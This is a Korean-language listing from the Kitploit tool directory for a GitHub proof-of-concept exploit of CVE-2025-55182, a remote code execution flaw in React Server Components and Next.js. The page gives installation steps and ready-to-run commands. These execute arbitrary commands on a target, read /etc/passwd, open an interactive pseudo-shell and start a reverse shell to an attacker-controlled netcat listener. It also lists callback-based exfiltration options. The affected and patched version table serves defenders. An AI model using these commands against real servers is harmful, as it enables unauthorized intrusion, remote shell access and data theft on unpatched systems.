Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
react2shell-poc — CVE-2025-55182 React2Shell PoC - React Server Components / Next.js의 치명적인 RCE. CVSS 10.0. 오류 기반 유출, 리버스 셸, 대화형 모드. | Kitploit
도구/GitHubGitHub/p3ta00/react2shell-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access Tool
GitHubp3ta00/react2shell-poc

react2shell-poc

CVE-2025-55182 React2Shell PoC - React Server Components / Next.js의 치명적인 RCE. CVSS 10.0. 오류 기반 유출, 리버스 셸, 대화형 모드.

저장소 보기
9123개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

React2Shell - CVE-2025-55182 PoC

CVE-2025-55182에 대한 개념 증명으로, React Server Components에서 발생하는 심각한 인증되지 않은 원격 코드 실행 취약점입니다.

CVSS 점수: 10.0 (심각)

취약점

이 취약점은 React의 Flight 프로토콜 역직렬화기에 존재합니다. 특수하게 조작된 페이로드를 통해 프로토타입 오염(prototype pollution)을 악용함으로써, 공격자는 취약한 Next.js 애플리케이션에서 임의 코드 실행을 달성할 수 있습니다.

영향을 받는 버전

제품영향을 받는 버전패치된 버전
React19.0.0 - 19.2.019.0.1, 19.1.2, 19.2.1+
Next.js14.3.0-canary.77 - 16.x15.0.5, 15.1.9, 15.2.6, 16.0.7+

설치

root@kitploit:~
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests

사용법

명령 실행 및 출력 확인 (기본값 - 오류 기반 추출)

출력은 NEXT_REDIRECT 오류를 통해 HTTP 응답에 직접 반환됩니다 - 콜백 서버가 필요하지 않습니다.

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"

대화형 모드

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -i

취약점 확인

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 --check

블라인드 RCE (출력 없음)

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind

리버스 셸

root@kitploit:~
# 리스너 시작
nc -lvnp 4444

# 페이로드 전송
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444

Legacy: 콜백 기반 추출

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP

옵션

root@kitploit:~
-t, --target       Target URL (required)
-c, --command      Command to execute (output via error-based exfil by default)
--check            Check if target is vulnerable
--blind            Blind RCE mode (no output capture)
--listen           Use callback server instead of error-based exfil
-i, --interactive  Interactive pseudo-shell mode
--revshell         Attempt reverse shell
--lhost            Attacker IP for callbacks/reverse shell
--lport            Callback port (default: 9999)
--callback         Manual callback URL
--timeout          Request timeout in seconds (default: 30)

작동 원리

기본 추출 방법은 NEXT_REDIRECT 오류 주입을 사용합니다:

  1. 명령을 실행하고 출력을 캡처합니다
  2. digest 필드에 출력을 포함한 NEXT_REDIRECT 오류를 발생시킵니다
  3. Next.js가 Flight 응답에서 오류를 직렬화합니다
  4. 출력이 HTTP 응답 본문에 직접 나타납니다

이는 대상에서 아웃바운드 네트워크 접근이 필요하지 않기 때문에 콜백 기반 추출보다 더 신뢰할 수 있습니다.

참고 자료

  • Wiz Security - React2Shell 공개
  • Datadog Security Labs 분석
  • NVD - CVE-2025-55182

고지 사항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 적절한 승인을 받으십시오.

저자

p3ta

도구 다운로드